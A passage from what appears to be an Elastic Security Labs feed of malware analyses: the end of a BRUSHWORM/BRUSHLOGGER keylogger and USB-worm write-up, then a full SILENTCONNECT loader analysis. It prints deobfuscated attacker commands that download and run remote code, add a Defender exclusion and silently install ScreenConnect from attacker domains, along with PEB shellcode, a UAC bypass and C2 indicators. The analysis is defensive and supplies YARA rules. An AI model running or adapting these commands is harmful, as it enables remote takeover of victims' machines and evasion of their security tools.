<td><code>.pst</code>, <code>.ost</code>, <code>.msg</code>, <code>.eml</code>, <code>.emlx</code>, <code>.mbox</code>, <code>.mbx</code>, <code>.maildir</code>, <code>.one</code></td>
</tr>
<tr>
<td>Code &amp; Data</td>
<td><code>.py</code>, <code>.md</code>, <code>.xml</code>, <code>.json</code></td>
</tr>
</tbody>
</table>
<p>Stolen files are staged in the <code>C:\Users\Public\Systeminfo\</code> directory. The malware also maintains a tracking file (<code>hashconfig</code>) at <code>C:\Users\Public\AppData\Roaming\NuGet\</code> that records each exfiltrated file's path alongside its SHA-256 hash, likely to avoid re-exfiltrating the same files on subsequent runs.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/brushworm-targets-financial-services/image9.png" alt="Removable drive infection with lure filenames and file theft by extension" title="Removable drive infection with lure filenames and file theft by extension" /></p>
<h4>Scenario 2 — No internet access:</h4>
<p>If the internet connectivity check fails, the malware still infects removable drives with the same lure-named copies. However, in this scenario, it additionally copies stolen files and files from the user's profile directory (matching the same extension list) to the removable drives. This behavior serves as a data exfiltration bridge for <strong>environments with restricted or air-gapped network access</strong> — using USB drives to physically carry stolen data off the network.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/brushworm-targets-financial-services/image12.png" alt="Offline mode: stolen files copied to removable drives for physical exfiltration" title="Offline mode: stolen files copied to removable drives for physical exfiltration" /></p>
<h2>BRUSHLOGGER code analysis</h2>
<p>The second component is a 32-bit Windows DLL (<code>4f1ea5ed6035e7c951e688bd9c2ec47a1e184a81e9ae783d4a0979501a1985cf</code>) designed for DLL side-loading. It masquerades as <code>libcurl.dll</code> by exporting seven standard <code>curl_easy_*</code> API functions, all of which are empty stubs pointing to a single <code>RET</code> instruction. The malicious functionality executes entirely from the <code>DllMain</code> entry point on <code>DLL_PROCESS_ATTACH</code>.</p>
<h3>Initialization</h3>
<p>At startup, the keylogger decodes a mutex name from a Base64-encoded string: “<code>Windows-Updates-KB852654856</code>”. The mutex name mimics a Windows Update knowledge base identifier. If <code>CreateMutexA</code> returns <code>ERROR_ALREADY_EXISTS</code>, the process terminates immediately to enforce single-instance execution.</p>
<p><strong>BRUSHLOGGER</strong> retrieves the current Windows username via <code>GetUserNameA</code>, computes its MD5 hash using the Windows CryptoAPI, and constructs the final log file path:</p>
<pre><code>C:\programdata\Photoes\&lt;username&gt;_&lt;MD5(username)&gt;.trn
</code></pre>
<p>The log file is initially created with <code>CreateFileA</code> using <code>CREATE_NEW</code>, then reopened with <code>FILE_APPEND_DATA</code> access for append-mode writing throughout the session.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/brushworm-targets-financial-services/image8.png" alt="Log file creation" title="Log file creation" /></p>
<h3>Hook installation and message pump</h3>
<p>After file setup, the keylogger installs a low-level keyboard hook:</p>
<pre><code class="language-c">SetWindowsHookExA(WH_KEYBOARD_LL, keyboard_hook_callback, NULL, 0);
</code></pre>
<p>The <code>WH_KEYBOARD_LL</code> hook type captures keyboard input system-wide across all threads and processes. The hook procedure runs in the context of the installing thread, requiring a standard Windows message pump (<code>GetMessageA</code> / <code>TranslateMessage</code> / <code>DispatchMessageA</code>) to keep the hook alive.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/brushworm-targets-financial-services/image2.png" alt="Keyboard hook installation and message pump" title="Keyboard hook installation and message pump" /></p>
<h3>Keystroke capture logic</h3>
<p>The core capture logic resides in the hook callback, which processes every keyboard event in the system.</p>
<p>For each keystroke event, the callback:</p>
<ol>
<li>Retrieves the foreground window handle via <code>GetForegroundWindow</code></li>
<li>Allocates memory via <code>VirtualAlloc</code> for the window title</li>
<li>Captures the current timestamp via <code>GetLocalTime</code>, formatted as <code>DD-MM-YYYY HH:MM</code></li>
<li>Retrieves the window title bar text via <code>GetWindowTextA</code></li>
</ol>
<p>When the foreground window changes, a context marker is appended to the keystroke buffer:</p>
<pre><code>\n&lt;timestamp&gt; &lt;window title&gt;\n
</code></pre>
<p><strong>Keystroke encoding:</strong> The callback processes <code>WM_KEYDOWN</code>, <code>WM_SYSKEYDOWN</code>, <code>WM_KEYUP</code>, and <code>WM_SYSKEYUP</code> messages. Each keystroke is logged as a two-digit hexadecimal virtual key.</p>
<h3>XOR-encrypted log files</h3>
<p>The flush routine copies the keystroke buffer to a local stack buffer, XOR-encrypts each byte with a hardcoded single-byte key <code>0x43</code>, and writes the result to the log file via <code>WriteFile</code>. After a successful write, the global buffer is cleared.</p>
<p>The XOR key <code>0x43</code> is trivially reversible — the encryption serves only as basic obfuscation rather than meaningful cryptographic protection.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/brushworm-targets-financial-services/image5.png" alt="XOR decrypting a keylogger file with the byte 0x43" title="XOR decrypting a keylogger file with the byte 0x43" /></p>
<h2>Conclusion</h2>
<p>Despite their low sophistication and multiple implementation flaws, these two binaries deliver a functional collection platform that combines modular payload loading, USB worm propagation, broad file theft with air-gap bridging, and persistent keystroke capture via DLL side-loading. The iterative testing versions and active C2 infrastructure suggest an actor still refining their toolset. Elastic Security Labs will continue monitoring this activity cluster.</p>
<h2>BRUSHLOGGER, BRUSHWORM, and MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003/">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0006/">Credential Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0008/">Lateral Movement</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1053/005/">Scheduled Task/Job: Scheduled Task</a></li>
<li><a href="https://attack.mitre.org/techniques/T1574/002/">Hijack Execution Flow: DLL Side-Loading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1056/001/">Input Capture: Keylogging</a></li>
<li><a href="https://attack.mitre.org/techniques/T1027/">Obfuscated Files or Information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1140/">Deobfuscate/Decode Files or Information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1497/001/">Virtualization/Sandbox Evasion: System Checks</a></li>
<li><a href="https://attack.mitre.org/techniques/T1074/001/">Data Staged: Local Data Staging</a></li>
<li><a href="https://attack.mitre.org/techniques/T1091/">Replication Through Removable Media</a></li>
<li><a href="https://attack.mitre.org/techniques/T1119/">Automated Collection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1025/">Data from Removable Media</a></li>
<li><a href="https://attack.mitre.org/techniques/T1010/">Application Window Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1105/">Ingress Tool Transfer</a></li>
<li><a href="https://attack.mitre.org/techniques/T1036/005/">Masquerading: Match Legitimate Name or Location</a></li>
</ul>
<h2>Detecting BRUSHLOGGER and BRUSHWORM</h2>
<h3>YARA</h3>
<p>Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the BRUSHWORM and BRUSHLOGGER:</p>
<pre><code>rule Windows_Trojan_BrushLogger_304ee146 {
    meta:
        author = &quot;Elastic Security&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;BrushLogger&quot;
        threat_name = &quot;Windows.Trojan.BrushLogger&quot;
        reference_sample = &quot;4f1ea5ed6035e7c951e688bd9c2ec47a1e184a81e9ae783d4a0979501a1985cf&quot;

    strings:
        $a = &quot;%02d-%02d-%d %02d:%02d &quot; fullword
        $b = { 81 ?? ?? A1 00 00 00 74 09 81 ?? ?? A0 00 00 00 75 09 6A 00 6A 10 E8 }
    condition:
        all of them
}

rule Windows_Trojan_BrushWorm_7c2098ef {
    meta:
        author = &quot;Elastic Security&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;BrushWorm&quot;
        threat_name = &quot;Windows.Trojan.BrushWorm&quot;
        reference_sample = &quot;89891aa3867c1a57512d77e8e248d4a35dd32e99dcda0344a633be402df4a9a7&quot;

    strings:
        $a = &quot;internetCheckDomain&quot; wide fullword
        $b = { B8 00 00 00 40 33 C9 0F A2 48 8D ?? ?? ?? 89 07 89 5F 04 89 4F 08 89 57 0C 45 33 C0 }
    condition:
        all of them
}
</code></pre>
<h2>Observations</h2>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th align="left">Observable</th>
<th align="left">Type</th>
<th align="left">Name</th>
<th align="left">Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>89891aa3867c1a57512d77e8e248d4a35dd32e99dcda0344a633be402df4a9a7</code></td>
<td align="left">SHA-256</td>
<td align="left">paint.exe</td>
<td align="left">BRUSHWORM</td>
</tr>
<tr>
<td align="left"><code>4f1ea5ed6035e7c951e688bd9c2ec47a1e184a81e9ae783d4a0979501a1985cf</code></td>
<td align="left">SHA-256</td>
<td align="left">libcurl.dll</td>
<td align="left">BRUSHLOGGER</td>
</tr>
<tr>
<td align="left"><code>resources.dawnnewsisl[.]com/updtdll</code></td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">C2 server</td>
</tr>
</tbody>
</table>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/kr/security-labs/assets/images/brushworm-targets-financial-services/brushworm-targets-financial-services.webp" length="0" type="image/webp"/>
        </item>
        <item>
            <title><![CDATA[From Invitation to Infection: How SILENTCONNECT Delivers ScreenConnect]]></title>
            <link>https://www.elastic.co/kr/security-labs/silentconnect-delivers-screenconnect</link>
            <guid>silentconnect-delivers-screenconnect</guid>
            <pubDate>Thu, 19 Mar 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[SILENTCONNECT is a multi-stage loader that leverages VBScript, in-memory PowerShell execution, and PEB masquerading to silently deploy the ScreenConnect RMM tool.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>Elastic Security Labs is observing malicious campaigns delivering a multi-stage infection involving a previously undocumented loader. The infection begins when users are diverted to a Cloudflare Turnstile CAPTCHA page under the guise of a digital invitation. After the link is clicked, a VBScript file is downloaded to the machine. Upon execution, the script retrieves C# source code, which is then compiled and executed in memory using PowerShell. The final payload observed in these campaigns is ScreenConnect, a remote monitoring and management (RMM) tool used to control victim machines.</p>
<p>This campaign highlights a common theme: attackers abusing living-off-the-land binaries (<a href="https://lolbas-project.github.io/">LOLBins</a>) to facilitate execution, as well as using trusted hosting providers such as Google Drive and Cloudflare. While the loader is small and straightforward, it appears to be quite effective and has remained under the radar since March 2025.</p>
<h2>Key takeaways</h2>
<ul>
<li>SILENTCONNECT is a newly discovered loader actively being used in-the-wild</li>
<li>This loader silently installs ConnectWise ScreenConnect, enabling hands-on keyboard access to victim machines</li>
<li>Campaigns distributing SILENTCONNECT use hosting infrastructure from Cloudflare and Google Drive</li>
<li>SILENTCONNECT uses NT API calls, PEB masquerading and includes Windows Defender exclusion and User Account Control (UAC) bypass</li>
</ul>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/silentconnect-delivers-screenconnect/image13.png" alt="SILENTCONNECT attack diagram" title="SILENTCONNECT attack diagram" /></p>
<h2>SILENTCONNECT infection chain</h2>
<p>In the first week of March, our team observed a living off-the-land style infection generating multiple behavioral alerts over a short period.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/silentconnect-delivers-screenconnect/image12.png" alt="Elastic Defend alerts" title="Elastic Defend alerts" /></p>
<p>The initial VBScript download triggered our <a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/execution_suspicious_windows_script_downloaded_from_the_internet.toml">Suspicious Windows Script Downloaded from the Internet rule</a>, which let us pivot to the source of the infection using the associated <code>file.origin_url</code> and <code>file.origin_referrer_url</code> fields.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/silentconnect-delivers-screenconnect/image10.png" alt="File origin fields" title="File origin fields" /></p>
<p>By navigating to the original landing page, we observed a Cloudflare Turnstile CAPTCHA page. After clicking the human verification checkbox, a VBScript file (<code>E-INVITE.vbs</code>) is downloaded to the machine.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/silentconnect-delivers-screenconnect/image19.png" alt="Cloudflare CAPTCHA page" title="Cloudflare CAPTCHA page" /></p>
<p>Below is the source code of the landing page, we can see that the VBScript file (<code>E-INVITE.vbs</code>) is hosted on Cloudflare’s object storage service <a href="https://developers.cloudflare.com/r2/"><code>r2.dev</code></a>.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/silentconnect-delivers-screenconnect/image8.png" alt="Landing page source code" title="Landing page source code" /></p>
<p>Below are other VBScript filenames observed in the last month related to these campaigns:</p>
<ul>
<li><code>Alaska Airlines 2026 Fleet &amp; Route Expansion Summary.vbs</code></li>
<li><code>CODE7_ZOOMCALANDER_INSTALLER_4740.vbs</code></li>
<li><code>2025Trans.vbs</code></li>
<li><code>Proposal-03-2026.vbs</code></li>
<li><code>2025Trans.vbs</code></li>
<li><code>updatv35.vbs</code></li>
</ul>
<p>The VBScripts are minimally obfuscated, using a children’s story as a decoy, and employ the <code>Replace()</code> and <code>Chr()</code> functions to hide the next stage.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/silentconnect-delivers-screenconnect/image17.png" alt="Obfuscated VBScript" title="Obfuscated VBScript" /></p>
<p>This script de-obfuscates to the following command-line output:</p>
<pre><code>&quot;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe&quot; -ExecutionPolicy Bypass 
  -command &quot;&quot;New-Item -ItemType Directory -Path 'C:\Windows\Temp' -Force | Out-Null; 
  curl.exe -L 'hxxps://drive.google[.]com/uc?id=1ohZxxT-h7xWVgclB1kvpvwkF0AGWoUtq&amp;export=download' 
  -o 'C:\Windows\Temp\FileR.txt';Start-Sleep -Seconds 
  8;$source = [System.IO.File]::ReadAllText('C:\Windows\Temp\FileR.txt');Start-Sleep 
  -Seconds 1;Add-Type -ReferencedAssemblies 'Microsoft.CSharp' -TypeDefinition $source 
  -Language CSharp; [HelloWorld]::SayHello()&quot;&quot;
</code></pre>
<p>This snippet uses PowerShell to invoke <code>curl.exe</code> to download a C# payload from Google Drive, which is then written to the disk with the file name (<code>C:\Windows\Temp\FileR.txt</code>).</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/silentconnect-delivers-screenconnect/image4.png" alt="cURL download via PowerShell" title="cURL download via PowerShell" /></p>
<p>The retrieved C# source code uses an obfuscation technique known as constant unfolding to conceal the byte array used for reflective in-memory execution.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/silentconnect-delivers-screenconnect/image15.png" alt="C# source code downloaded from Google Drive" title="C# source code downloaded from Google Drive" /></p>
<p>Finally, the PowerShell command compiles the downloaded C# source (<code>FileR.txt</code>) at runtime using <code>Add-Type</code>, loads it into memory as a .NET assembly, and executes it via the <code>[HelloWorld]::SayHello()</code> method.</p>
<h2>SILENTCONNECT</h2>
<p>The following section covers the .NET loader family we call SILENTCONNECT. The sample is relatively small and straightforward, primarily designed to download a remote payload (ScreenConnect) and install it silently on the system.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/silentconnect-delivers-screenconnect/image5.png" alt="SILENTCONNECT - DNspy namespace/class structure" title="SILENTCONNECT - DNspy namespace/class structure" /></p>
<p>After sleeping for 15 seconds, the malware allocates executable memory using the native Windows API function via <code>NtAllocateVirtualMemory</code>, assigning the region <code>PAGE_EXECUTE_READWRITE</code> permissions. SILENTCONNECT stores an embedded byte array containing the following shellcode:</p>
<pre><code>53                        ; push rbx
48 31 DB                  ; xor rbx, rbx
48 31 C0                  ; xor rax, rax
65 48 8B 1C 25 60000000   ; mov rbx, gs:[0x60]  ← PEB address (x64)
48 89 D8                  ; mov rax, rbx        ← return value
5B                        ; pop rbx
C3                        ; ret
</code></pre>
<p>This small shellcode is moved into the recently allocated memory using <code>Marshal.Copy</code>. Next, the malware executes the shellcode in order to retrieve the address of the Process Environment Block (PEB). This approach allows the malware to access process structures directly while avoiding higher-level Windows APIs that are commonly monitored or hooked by security products.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/silentconnect-delivers-screenconnect/image1.png" alt="Copying shellcode into memory via NtAllocateVirtualMemory" title="Copying shellcode into memory via NtAllocateVirtualMemory" /></p>
<p>SILENTCONNECT uses NTAPIs from <code>ntdll.dll</code> (Native APIs) and <code>ole32.dll</code> (COM APIs) during the delegate setup stage, enabling the malware to invoke functions such as <code>NtWriteVirtualMemory</code> or <code>CoGetObject</code> directly from<code>.NET</code>.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/silentconnect-delivers-screenconnect/image11.png" alt="Delegate setup for NTAPI’s" title="Delegate setup for NTAPI’s" /></p>
<p><strong>PEB Masquerading</strong></p>
<p>SILENTCONNECT implements a common malware evasion technique known as PEB masquerading. All Windows processes include a kernel-maintained structure known as the <a href="https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb">Process Environment Block</a> (PEB). This structure contains a linked list of loaded modules. Inside each linked list are entries that contain the module’s base address, DLL name, and full path. SILENTCONNECT goes through this structure, finding its own module, then overwrites its <code>BaseDLLName</code> and <code>FullDllName</code> to <code>winhlp32.exe</code> and <code>c:\windows\winhlp32.exe</code>.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/silentconnect-delivers-screenconnect/image20.png" alt="PEB masquerading feature" title="PEB masquerading feature" /></p>
<p>Many security tooling, including EDRs, use the PEB as a trusted source to detect suspicious activity. This technique can fool these products by using a benign name and path to hide itself.</p>
<p>Before launching the payload, the malware implements a UAC bypass using the function <code>LaunchElevatedCOMObjectUnsafe</code> with the moniker string reversed: <code>:wen!rotartsinimdA:noitavelE -&gt; Elevation:Administrator!new:</code></p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/silentconnect-delivers-screenconnect/image18.png" alt="COM setup using elevation moniker" title="COM setup using elevation moniker" /></p>
<p>If the malware is in an un-elevated state, it will attempt to use the UAC bypass technique via <a href="https://gist.github.com/api0cradle/d4aaef39db0d845627d819b2b6b30512">CMSTPLUA COM interface</a>. The launch parameters are stored in a character array in reverse order as a simple obfuscation technique.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/silentconnect-delivers-screenconnect/image14.png" alt="Launch parameters for ScreenConnect install" title="Launch parameters for ScreenConnect install" /></p>
<p>The first part of this obfuscated command adds a Microsoft Defender exclusion for <code>.exe</code> files.</p>
<pre><code>$ConcreteDataStructure=[char]65+[char]100+[char]100+[char]45+[char]77+[char]112+[char]80+
[char]114+[char]101+[char]102+[char]101+[char]114+[char]101+[char]110+[char]99+[char]
101;$s=[char](23+23)+[char]101+[char]120+[char]101;&amp;($ConcreteDataStructure) 
-ExclusionExtension $s -Force;
</code></pre>
<p>Below is the result of this command in Defender with the exception added:<br />
<img src="https://www.elastic.co/kr/security-labs/assets/images/silentconnect-delivers-screenconnect/image2.png" alt="SILENTCONNECT adding Microsoft Defender exception" title="SILENTCONNECT adding Microsoft Defender exception" /></p>
<p>After adding the exclusion, SILENTCONNECT creates a temporary directory (<code>C:\Temp</code>) and uses <code>curl.exe</code> to download the malicious ScreenConnect client installer into it. It then invokes <code>msiexec.exe</code> to silently install the RMM. Below is the second-half of the command-line:</p>
<pre><code>New-Item -ItemType Directory -Path 'C:\Temp' -Force | Out-Null; curl.exe -L 
 'hxxps://bumptobabeco[.]top/Bin/ScreenConnect.ClientSetup.msi?e=Access&amp;y=Guest'
  -o 'C:\Temp\ScreenConnect.ClientSetup.msi'; Start-Process msiexec.exe '/i 
  C:\Temp\ScreenConnect.ClientSetup.msi'&quot;
</code></pre>
<p>Following installation, the ScreenConnect client persists as a Windows service and beacons to the adversary-controlled ScreenConnect server at <code>bumptobabeco[.]top</code> over TCP port <code>8041</code>.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/silentconnect-delivers-screenconnect/image16.png" alt="ScreenConnect Client outbound network activity" title="ScreenConnect Client outbound network activity" /></p>
<h2>SILENTCONNECT campaign</h2>
<p>The primary initial access vector for these campaigns starts from phishing emails. We identified an email sample (<code>YOU ARE INVITED.eml</code>) uploaded to VirusTotal from a campaign last year.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/silentconnect-delivers-screenconnect/image21.png" alt="Phishing email - Subject “YOU ARE INVITED”" title="Phishing email - Subject “YOU ARE INVITED”" /></p>
<p>The email is sent from <code>dan@checkfirst[.]net[.]au</code> and impersonates a project proposal invitation from a fake company. The email body invites the recipient to submit a proposal by clicking a link. This link redirects the victim to attacker-controlled infrastructure <code>imansport[.]ir/download_invitee.php</code>.</p>
<p>Notably, the threat actor reused the same URI path (<code>download_invitee.php</code>) across all compromised websites to deliver the payload. This consistent naming convention represents a poor operational security (OPSEC) practice, as it provided a reliable pivot point for tracking the campaign's infrastructure and identifying additional compromised hosts through VirusTotal searches such as <code>entity:url url:download_invitee.php</code>.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/silentconnect-delivers-screenconnect/image9.png" alt="Pivot example using same URI" title="Pivot example using same URI" /></p>
<p>We also uncovered various legitimate websites that were compromised and used the same infrastructure to facilitate other fraudulent schemes. For example, one URL (<code>solpru[.]com/process/docusign[.]html</code>) hosts a page that closely mimics the DocuSign electronic signature platform.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/silentconnect-delivers-screenconnect/image3.png" alt="" /><br />
Fake <em>DocuSign portal</em></p>
<p>This chain completely jumps SILENTCONNECT by downloading a preconfigured ScreenConnect MSI that automatically connects to the actor’s server (<code>instance-lh1907-relay.screenconnect[.]com</code>).<br />
<img src="https://www.elastic.co/kr/security-labs/assets/images/silentconnect-delivers-screenconnect/image6.png" alt="ScreenConnect config from DocuSign scheme" title="ScreenConnect config from DocuSign scheme" /></p>
<p>Another page on a different domain impersonates a Microsoft Teams page and requests that the user download a file, which leads to abuse of the Syncro RMM Agent.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/silentconnect-delivers-screenconnect/image7.png" alt="Fake Microsoft Teams landing page" title="Fake Microsoft Teams landing page" /></p>
<h2>Conclusion</h2>
<p>Elastic Security Labs continues to see an uptick in RMM adoption by threat actors. As these tools are used by legitimate IT departments, they are typically overlooked and considered “trusted” in most corporate environments. Organizations must stay vigilant, auditing their environments for unauthorized RMM usage.</p>
<p>While this particular group went a step further by writing a custom loader, the majority of their infection chain leverages Windows binaries to evade detection and blend in with normal system activity. The abuse of trusted platforms such as Google Drive and Cloudflare for payload hosting and lure delivery further complicates detection, as network-based controls are unlikely to block traffic to these services outright. As threat actors continue to favor simplicity and stealth over sophistication, campaigns of this nature are likely to persist and evolve.</p>
<h3>SILENTCONNECT and MITRE ATT&amp;CK</h3>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h4>Tactics</h4>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0011">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0004/">Privilege Escalation</a></li>
</ul>
<h4>Techniques</h4>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1059/001/">Command and Scripting Interpreter: PowerShell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1562/001/">Impair Defenses: Disable or Modify Tools</a></li>
<li><a href="https://attack.mitre.org/techniques/T1548/002/">Abuse Elevation Control Mechanism: Bypass User Account Control</a></li>
<li><a href="https://attack.mitre.org/techniques/T1219/002/">Remote Access Tools: Remote Desktop Software</a></li>
<li><a href="https://attack.mitre.org/techniques/T1105/">Ingress Tool Transfer</a></li>
<li><a href="https://attack.mitre.org/techniques/T1027/">Obfuscated Files or Information</a></li>
</ul>
<h2><strong>Detecting SILENTCONNECT</strong></h2>
<ul>
<li><a href="https://github.com/elastic/endpoint-rules/blob/main/rules/windows/command_and_control_ingress_exe_transfer_via_curl.toml">Ingress Tool Transfer via CURL</a></li>
<li><a href="https://github.com/elastic/endpoint-rules/blob/main/rules/windows/command_and_control_webservice_lolbas.toml">Connection to WebService by a Signed Binary Proxy</a></li>
<li><a href="https://github.com/elastic/endpoint-rules/blob/main/rules/windows/privilege_escalation_uac_bypass_com_interface_icmluautil.toml">UAC Bypass via ICMLuaUtil Elevated COM Interface</a></li>
<li><a href="https://github.com/elastic/endpoint-rules/blob/main/rules/windows/execution_suspicious_powershell_cmdline.toml">Suspicious PowerShell Execution</a></li>
<li><a href="https://github.com/elastic/endpoint-rules/blob/main/rules/windows/defense_evasion_defender_exclusion_via_wmi.toml">Windows Defender Exclusions via WMI</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/execution_windows_powershell_susp_args.toml">Suspicious Windows Powershell Arguments</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/command_and_control_tool_transfer_via_curl.toml">Potential File Transfer via Curl for Windows</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/command_and_control_common_webservices.toml">Connection to Commonly Abused Web Services</a></li>
</ul>
<h4>YARA</h4>
<p>Elastic Security has created the following YARA rules to identify this activity:</p>
<pre><code>rule Windows_Trojan_SilentConnect_cdc03e84 {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2026-03-04&quot;
        last_modified = &quot;2026-03-04&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        threat_name = &quot;Windows.Trojan.SilentConnect&quot;
        reference_sample = &quot;8bab731ac2f7d015b81c2002f518fff06ea751a34a711907e80e98cf70b557db&quot;
        license = &quot;Elastic License v2&quot;
    strings:
        $peb_evade = &quot;winhlp32.exe&quot; wide fullword
        $rev_elevation = &quot;wen!rotartsinimdA:noitavelE&quot; wide fullword
        $masquerade_peb_str = &quot;MasqueradePEB&quot; ascii fullword
        $guid = &quot;3E5FC7F9-9A51-4367-9063-A120244FBEC7&quot; wide fullword
        $unique_str = &quot;PebFucker&quot; ascii fullword
        $peb_shellcode = { 53 48 31 DB 48 31 C0 65 48 8B 1C 25 60 00 00 00 }
        $rev_screenconnect = &quot;tcennoCneercS&quot; ascii wide
    condition:
        5 of them
}
</code></pre>
<h2>Observations</h2>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th align="left">Observable</th>
<th align="left">Type</th>
<th align="left">Name</th>
<th align="left">Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>281226ca0203537fa422b17102047dac314bc0c466ec71b2e6350d75f968f2a3</code></td>
<td align="left">SHA-256</td>
<td align="left">E-INVITE.vbs</td>
<td align="left">VBScript</td>
</tr>
<tr>
<td align="left"><code>adc1cf894cd35a7d7176ac5dab005bea55516bc9998d0c96223b6c0004723c37</code></td>
<td align="left">SHA-256</td>
<td align="left">2025Trans.vbs</td>
<td align="left">VBScript</td>
</tr>
<tr>
<td align="left"><code>81956d08c8efd2f0e29fd3962bcf9559c73b1591081f14a6297e226958c30d03</code></td>
<td align="left">SHA-256</td>
<td align="left">FileR.txt</td>
<td align="left">C#</td>
</tr>
<tr>
<td align="left"><code>c3d4361939d3f6cf2fe798fef68d4713141c48dce7dd29d3838a5d0c66aa29c7</code></td>
<td align="left">SHA-256</td>
<td align="left">ScreenConnect.ClientSetup.msi</td>
<td align="left">SCREENCONNECT Installer</td>
</tr>
<tr>
<td align="left"><code>8bab731ac2f7d015b81c2002f518fff06ea751a34a711907e80e98cf70b557db</code></td>
<td align="left">SHA-256</td>
<td align="left"></td>
<td align="left">SILENTCONNECT</td>
</tr>
<tr>
<td align="left"><code>86.38.225[.]59</code></td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">ScreenConnect  C2 Server</td>
</tr>
<tr>
<td align="left"><code>bumptobabeco[.]top</code></td>
<td align="left">domain</td>
<td align="left"></td>
<td align="left">ScreenConnect C2 Server</td>
</tr>
<tr>
<td align="left"><code>instance-lh1907-relay.screenconnect[.]com</code></td>
<td align="left">domain</td>
<td align="left"></td>
<td align="left">ScreenConnect C2 Server</td>
</tr>
<tr>
<td align="left"><code>349e78de0fe66d1616890e835ede0d18580abe8830c549973d7df8a2a7ffdcec</code></td>
<td align="left">SHA-256</td>
<td align="left">ViewDocs.exe</td>
<td align="left">Syncro Installer</td>
</tr>
</tbody>
</table>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/kr/security-labs/assets/images/silentconnect-delivers-screenconnect/silentconnect-delivers-screenconnect.webp" length="0" type="image/webp"/>
        </item>
        <item>
            <title><![CDATA[Taking SHELLTER: a commercial evasion framework abused in-the-wild ]]></title>
            <link>https://www.elastic.co/kr/security-labs/taking-shellter</link>
            <guid>taking-shellter</guid>
            <pubDate>Thu, 03 Jul 2025 00:00:00 GMT</pubDate>
